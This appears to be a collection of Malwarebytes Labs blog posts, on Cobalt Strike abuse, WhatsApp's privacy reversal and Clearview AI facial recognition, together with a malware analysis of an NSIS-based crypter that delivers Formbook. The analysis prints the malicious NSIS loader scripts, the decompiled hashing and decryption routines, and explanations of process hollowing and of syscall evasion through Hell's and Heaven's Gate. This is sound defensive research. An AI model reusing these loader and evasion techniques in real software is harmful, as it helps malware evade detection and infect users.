This whole situation creates a strange moral grey area when you consider that tools developed by the good guys as a method of defense against the bad guys, are now being used by the bad guys to infect the customers of the good guys. There is a fair amount of discussion among security professionals whether or not it is a good idea to continue the free and unregulated development and release of these penetration testing tools. Especially when some of them are almost indistinguishable from actual black hat tools. As well as a lot of finger pointing about whose responsibility it is to make sure these tools aren’t used for crime. But also how could we do that, or is it already too late?

The need for pen-testing

While we can see why major corporations deploy red teams to perform penetration testing, we also wonder whether it is right to develop the malware for the threat actors. One could argue that using the latest and newest actual forms of malware should be adequate to test whether your defenses are up to par.

As it stands now, we have ended up with a situation where there are paid, dedicated researchers who spend all day working on new tools for penetration testing and intrusion. Which may very well end up being used by the criminals themselves. There are likely far less, if any, full time malware tool developers who have the resources, time, and experience to create something of the same magnitude. So at the end of the day, the weapons created by the white and grey hats, may be causing more harm than good in the long run because of a lack of control.

The problem it causes

Pen-testing is limited to the companies that can afford it and feel the need to do it. By using it they are not only adding to their own protection, which is their prerogative, but as a side-effect they are enabling the development of more advanced penetration software.

Combine that with an industry where some penetration testers prefer the situation where organizations are unable to defend themselves against these tools because it creates more business for penetration testing companies if they can’t defend themselves effectively. If you pass the test every time with flying colors, you will start to doubt the effectiveness of said test.

This is the problem we currently have with penetration tools being hijacked by criminals. The organizations that employ penetration testers are involuntary enablers, who are protected from this threat while also being the main drivers of development and providers of resources. On the other side of the spectrum there are those who aren’t aware of the threat, and will be the biggest victims once these tools fall into the hands of criminals.

As long as the consultants build new, more powerful tools, and don’t pay attention where the outdated and discarded tools end up, your neighbor can end up under attack by the tools you paid to develop. You are probably safe from the attack, but dozens of others, many in industries who can’t afford a consultant to test their security, are not safe, and in fact, are at a greater risk than before you brought in your consultant.

The post Cobalt Strike, a penetration testing tool abused by criminals appeared first on Malwarebytes Labs.

WhatsApp, the end-to-end encrypted messaging service that has lost users, its founders, and a large amount of public goodwill, issued a reversal on its recent privacy policy enforcement measures, clarifying that it will no longer punish users who refuse to share some of their data with the company’s owner, Facebook.

Previously, the company said it would restrict some users from accessing chat logs and even turn off the ability for users to receive calls and messages through the app. But in a statement to the news outlet The Next Web last week, WhatsApp said:

“Given recent discussions with various authorities and privacy experts, we want to make clear that we currently have no plans to limit the functionality of how WhatsApp works for those who have not yet accepted the update. Instead, we will continue to remind users from time to time about the update as well as when people choose to use relevant optional features, like communicating with a business that is receiving support from Facebook.”

The reversal comes after a confusing and difficult five months for WhatsApp, which, in January, began notifying users about a new privacy policy that would include additional data sharing with Facebook. Users immediately balked at the policy request, though they misconstrued old data sharing practices that WhatsApp rolled out in 2016 with new practices from WhatsApp that would go into effect in 2021.

Never included in WhatsApp’s data sharing practices was the content of users’ messages, and it remains that way today. WhatsApp has held firm on the end-to-end encryption enabled by default for all users, and it has never hinted at breaking that encryption to allow its parent company to increase targeted advertising efforts. Instead, WhatsApp’s current privacy policy will allow the company to share certain data with Facebook about business interactions—like when a user contacts a business over WhatsApp.

Still, the confusion led to a reported exodus of users, to which WhatsApp responded by extending the initial deadline for users to agree to its privacy policy to May 15. But for users who chose not to agree to the new privacy policy, the eventual, planned consequences appeared rather extreme.

For users who refused the privacy policy, WhatsApp previously said that “after a period of several weeks,” those users would see a notification to accept the new privacy policy become persistent. Users with the persistent notification would then see limitations.

The company previously said:

“At that time, you’ll encounter limited functionality on WhatsApp until you accept the updates. This will not happen to all users at the same time.

You won’t be able to access your chat list, but you can still answer incoming phone and video calls. If you have notifications enabled, you can tap on them to read or respond to a message or call back a missed phone or video call.

After a few weeks of limited functionality, you won’t be able to receive incoming calls or notifications and WhatsApp will stop sending messages and calls to your phone.”

That language is no longer present on WhatsApp’s FAQ, but when it was first revealed, it presented a stark image to users who had perhaps chosen WhatsApp entirely because of its earlier, pro-privacy slant.

Instead, those users who chose to protect one small aspect of their online privacy were being punished. As we wrote previously:

“A private messaging app that cannot receive messages is useless, and it is ludicrous that the reason it is useless is because the company has chosen to make it that way.

This is an anti-privacy choice. It is also an anti-user choice, as users are being punished for their refusal to share data.”

Thankfully, this scenario has been avoided, but it is still frustrating that it took this level of public outrage for WhatsApp to correct course. Protecting users and protecting their choices should not be this hard.

The post WhatsApp reverses course, will not limit app functionality appeared first on Malwarebytes Labs.

It’s been a busy few weeks for facial recognition technology. Its oft-maligned abilities frequently wind up in tales of privacy invasion, or false positives, or dubious data retention. In fact, it’s not uncommon to see big organisations backing away from how they expect to use it, or indeed deploy it already. Essentially, anyone in or around this area of work can expect bumpy PR incidents down the line.

The facial recognition tech cool-down of 2021

It’s such a hot-button issue that Amazon, already having called time on their tech being used by law enforcement, have recently extended their time-out from that field. It will still apparently be used for cases of trafficking, but more general use is a no-go for the immediate future.

Elsewhere, tools which allow anyone to search and make connections between different images are stirring up more privacy issues. It’s one of the ironies of this field that the people behind a tool which can draw astonishing links between photographs, insist on remaining completely anonymous.

On top of all that, the issue of facial recognition and policing refuses to go away. In the UK, a Watchdog would rather police “reasonably use” biometrics and surveillance, as opposed to a complete ban. What form said reasonable use would take, nobody yet knows.

With all of this churning away in the background, it’s time for Clearview AI to step up to the plate.

Clearview AI under the spotlight

The facial recognition company, frequently in the news even when they may not have been involved, find themselves at the heart of the facial recognition media storm currently playing out. Clearview AI, which matches faces in a database and provides software to a variety of companies and law enforcement, has run into a privacy roadblock.

That roadblock takes the form of multiple European privacy / digital rights organisations filing legal complaints. Said complaints have been filed in a variety of locations including the UK, Italy, Greece, and France.

Privacy International looking to hit a home run

Privacy International is front and center of the privacy actions against Clearview AI.

They argue that GDPR applies to Clearview’s collection / processing of faces online, because it’s “mass processing of European residents’ personal data”. Privacy AI then goes into detail about which aspects of GDPR cover the various forms of imagery collected, as well as highlighting how they believe Clearview AI “contravenes a number of other GDPR principles”. As they put it, instead of isolated cases peppering the privacy landscape, the complaints “seek a coordinated approach across Europe to tackle an inherently cross-border issue. The regulators have 3 months to respond after filing of the complaints.”

Facial recognition tech fighting a losing battle?

This is happening as individual States in the U.S. are digging their heels in against various aspects of facial recognition technology. It remains to be seen which camp will emerge victorious in this ongoing privacy battle. Given the reluctance of several organisations to get back into privacy related facial recognition issues, it looks like Clearview AI may be the so-called main character of this particular blowout for some time to come.

The post The slow trend away from facial recognition technology appeared first on Malwarebytes Labs.

This blog post was authored by hasherezade

NSIS (Nullsoft Scriptable Install System) is a framework dedicated to creating software installers. It allows to bundle various elements of an application together (i.e. the main executable, used DLLs, configs), along with a script that controls where are they going to be extracted, and what their execution order is. It is a free and powerful tool, making distribution of software easier. Unfortunately, its qualities are known not only to legitimate developers but also to malware distributors.

For several years we have been observing malware distributed via NSIS-based crypters. The outer layer made of a popular and legitimate tool makes for a perfect cover. The flexibility of the installer allows to implement various ideas for obfuscating malicious elements. We wrote about unpacking them in the past, i.e. here, and here. With time their internal structure has evolved, so we decided to revisit them and describe the inside again using samples from some of the Formbook stealer campaigns.

Samples

This analysis is based on the following samples:

• 8F80426CEC76E7C9573A9C58072399AF
  • carrying a Formbook sample: 05dc8c8d912a58a5dde38859e741b2c0
• 98061CCF694005A78FCF0FBC8810D137
  • carrying a Formbook sample: f34bd301f4f4d53e2d069b4842bca672

Inside

Like every NSIS-based installer, this executable is an archive that can be unpacked with the help of 7zip. The older versions of 7zip (i.e. 15.05) were also able to extract the NSIS script: [NSIS].nsi. Unfortunately, in the newer releases script extraction is no longer supported.

Once we unpack the file, we can see several elements, as well as directories typical for NSIS:

The System.dll is a DLL typical for any NSIS installer, responsible for executing the commands from the script. It is the first component of the archive to be loaded. We can find it in each of the samples.

What is more interesting are the files in the main directory. The first one, 1 KB in size, is a shellcode. It starts from bytes:

0x55, 0x8B, 0xEC, 0x81, 0xEC

Analogous shellcode can be found in the second sample from this campaign.

In the same directory there are two other files. One of them is around 7 KB, and the next: much bigger. Both of them are encrypted, and to find out what they contain we need to analyze the full chain of loading.

Looking inside the NSIS script we can see the performed actions that are very simple:

Function .onInit
  InitPluginsDir

  SetOutPath $INSTDIR
  File 5e9ikl8w3iif7ipp6
  File 3ugs67ip868x5n
  File tjdorfrldbgdlq
  System::Alloc 1024
  Pop $0
  System::Call "kernel32::CreateFile(t'$INSTDIRtjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
  System::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
  System::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
  System::Call ::$0()
  Call func_80
[...]

The first file of the set (containing the shellcode) is read into the executable memory. Then, the loaded module is just called.

Shellcode #1 – functionality

If we load those shellcodes into IDA we can see their functionality very clearly, as they are not obfuscated.

Shellcode from sample #1:

Shellcode from sample #2

Although the code is a bit different in both, they can be divided with the same steps and building blocks.

1. The name of the next file is loaded as a stack-based wide string
2. The base of kernel32.dll is fetched from PEB
3. A set of function from kernel32.dll is retrieved – each of them by the name’s checksums. Functions are always the same – dedicated to reading the file from the disk: CreateFileW, GetTempPathW, lstrcatW, ReadFile, VirtualAlloc, GetTempPathW.
4. The function GetTempPathW is used to retrieve the path to the %TEMP% directory, where all the components from the archive were automatically extracted at runtime of the NSIS file
5. The name of the next file is concatenated to the the %TEMP% path
6. Memory is allocated for the file content, and the file is read into this buffer
7. A custom decryption algorithm is being applied on the buffer (the algorithm is different for different samples). The buffer turns out to be a next shellcode
8. Finally, the next shellcode is executed

The hashing function used for import resolving follows the same pattern in both cases, yet the constant used to initialize it (denoted as HASH_INIT) is different across the samples.

.gist table { margin-bottom: 0; }

	int __stdcall calc_hash(char *name)
	{
	int next_chunk;
	int hash;
	for ( hash = HASH_INIT; ; hash = next_chunk + 33 * hash )
	{
	next_chunk = *name++;
	if ( !next_chunk )
	break;
	}
	return hash;
	}

view raw
nsis_calc_hash.cpp
hosted with ❤ by GitHub

The algorithm used for the buffer decryption differs across the samples.

Shellcode #2 – functionality

This shellcode is used for decrypting and loading the final payload (PE file) from the third of the encrypted files. It is unpacked and ran by the previous layer. In the analyzed cases, this element was around 7-8 KB.

This shellcode is similarly structured as the previous one. It starts by preparation of the strings: stack-based strings are being pushed. One of them is the name of the next file that is going to be loaded. Also, the key that will be used for the decryption is prepared.

The next step is loading of the imported functions. As before, they are resolved by their hashes.

Then the functions are used to load and decrypt the payload. If loading the next stage has failed, the installer will restart itself.

The decryption function is custom, similar (but not identical) to RC4:

.gist table { margin-bottom: 0; }

	void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size)
	{
	BYTE key_stream[512];
	int j;
	char next;
	int i;
	int v6 = 0;
	int v4 = 0;
	for ( i = 0; i < 256; ++i )
	{
	key_stream[i + 256] = i;
	key_stream[i] = key[i % size];
	}
	for ( i = 0; i < 256; ++i )
	{
	v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256;
	next = key_stream[v6 + 256];
	key_stream[v6 + 256] = key_stream[i + 256];
	key_stream[i + 256] = next;
	}
	v6 = 0;
	for ( j = 0; j < DATA_SIZE; ++j )
	{
	i = (i + 1) % 256;
	v6 = (v6 + key_stream[i + 256]) % 256;
	next = key_stream[v6 + 256];
	key_stream[v6 + 256] = key_stream[i + 256];
	key_stream[i + 256] = next;
	v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256;
	data[j] ^= key[j % size];
	data[j] ^= key_stream[v4 + 256];
	}
	}

view raw
nsis_decrypt.cpp
hosted with ❤ by GitHub

This algorithm is common to both analyzed samples – yet the decryption key differs.

Loading PE

After the PE is decrypted, the function for its loading is deployed.

The payload is implanted into a newly created suspended process (a new instance of the current executable) using one of the most popular techniques of PE injection: Process Hollowing (a.k.a. RunPE). The content of the payload is mapped into the new process using low level APIs: NtCreateSection, NtMapViewOfSection. Then, the Entry Point is redirected to the new executable via SetThreadContext, and finally the execution is resumed with NtResumeThread.

The authors used several common techniques to obfuscate this process.

As before, the used functions are loaded by their checksums. The PE loading function makes a use of the following set:

The low-level functions, directly related with performing the injection, are called via raw syscalls retrieved directly from NTDLL. Also in this case, functions has been resolved by their hashes.

List of used functions (with corresponding hashes).

 4b1a50d1 : NtCreateSection
 e0ddd5cb : NtMapViewOfSection
 20b0f111 : NtResumeThread
 81af6d4e : NtUnmapViewOfSection
 be530033 : NtWriteVirtualMemory

The code used to resolve the hashes is available here: hash_resolver.cpp.

Manual syscalls calling

In order to make the injection stealthier, the loader uses a common technique of “stealing syscalls”, also known as “hell’s gate”. This technique is based on the fact that some low-level DLLs, such as NTDLL, contain numbers of raw syscalls. By extracting the syscalls, and executing them manually, the malware can use the API of the operating system, without a need of calling functions from the DLL. That allows to bypass some monitoring in the situation if the system DLLs are hooked. More in-depth analysis of this technique was described here.

Firstly, a fresh copy of NTDLL is loaded from the file on the disk, an manually mapped. Then, a function defined by its hash is retrieved (using the same hashing algorithm that was used to retrieve imports from normally loaded DLLs):

After the pointer to the beginning of the function is fetched, a small disassembling loop is used to find the familiar pattern: moving the ID of the syscall into EAX register.

The syscall ID is returned for further use.

Once the syscall number has been extracted, the malware intends to execute it from its own code. However, a 32-bit application cannot make direct syscalls on 64-bit system, since it is not native. In such cases, syscalls are usually made via Wow64 emulation layer. In order to make them directly, the authors of the malware switch to the 64-bit mode first: using a technique called “Heaven’s Gate”.

The malware comes with two variants of the stub executing a syscall. The decision for which of the versions should be applied is made based on the check if the process runs as Wow64 (emulated 32 bit on 64 bit Windows):

If the process runs on a 32-bit system, the syscall can be made in a direct way, using SYSENTER:

If the system is 64-bit, the malware (that is 32-bit) switches into 64-bit mode via “Heaven’s Gate”.

Once the execution mode is changed into 64 bit, the syscall is called, its results stored, and the application can switch back to 32-bit mode to continue normal execution.

Evolution

This crypter has been around for several years, and during this time it went through several phases of evolution. In this part of the analysis we will compare it with the earlier version from February of this year, described in the following writeup.

In contrast to the current one, the version from February contained a malicious component in the form of a DLL. We can also find a second, encrypted component, which carries the payload.

The extracted NSIS script contains a different sequence of commands:

Function .onInit
  SetOutPath $INSTDIR
  File $INSTDIRo15bmldpqdxcin.dll
  File $INSTDIRemvmcmzr.n
  System::Call $INSTDIRo15bmldpqdxcin.dll::Gxkeoxkzs(w$"$INSTDIRemvmcmzr.n$")
  DetailPrint label
  StrCpy $0 9
  IntOp $0 $0 + 4
  Goto $0
  DetailPrint done
FunctionEnd

In this case, the standard NSIS component (System.dll) is used to call the function exported from the DLL, passing the path to the encrypted component as a parameter.

Looking inside the exported function we can find a significant similarity to the Shellcode #1 which was described in the former part of this writeup.

As before, we can see decryption of the next stage with the help of a custom algorithm. This time, the next stage is contained in a buffer hardcoded in the DLL (rather than stored in a separate file). It contains a very similar function dedicated to decrypting and loading the final payload. Yet, we can see some minor differences.

First of all, the file name is passed dynamically rather than hardcoded.

Second, we can see a check against blacklisted processes. Their names are hashed, and compared to the hardcoded list of hashes (i.e. 0x26090612 -> “avgui.exe”). This type of checks are among common evasion techniques. However, in this case, detection of a forbidden process only delays execution, and does not suspend it or terminate. Possibly it is a bug in the implementation, and the if statement was intended to be a while loop instead. Nevertheless, the authors decided to give up the check in the latest version.

Apart from those details, this stage is identical to the Shellcode #2 from the newer version.

Popular and persistent

This packer has been around for many years, and probably will stay with us for some years to come. Its structure shows that it is created by experienced authors, using well known, yet not trivial techniques. Its evolution is slow but steady. Usage of a popular installation engine makes it easy to blend in with legitimate applications.

Its popularity and diversity of payloads suggests that it is not linked to one specific actor, but rather sold as an independent component on one of many underground forums.

Appendix

Other materials about previous versions of NSIS-based crypters:

• https://yoroi.company/research/yes-cyber-adversaries-are-still-using-formbook-in-2021/
• https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
• https://news.sophos.com/en-us/2020/05/14/raticate/
• https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/
• https://www.microsoft.com/security/blog/2017/03/15/ransomware-operators-are-hiding-malware-deeper-in-installer-packages/
• https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/

The post Revisiting the NSIS-based crypter appeared first on Malwarebytes Labs.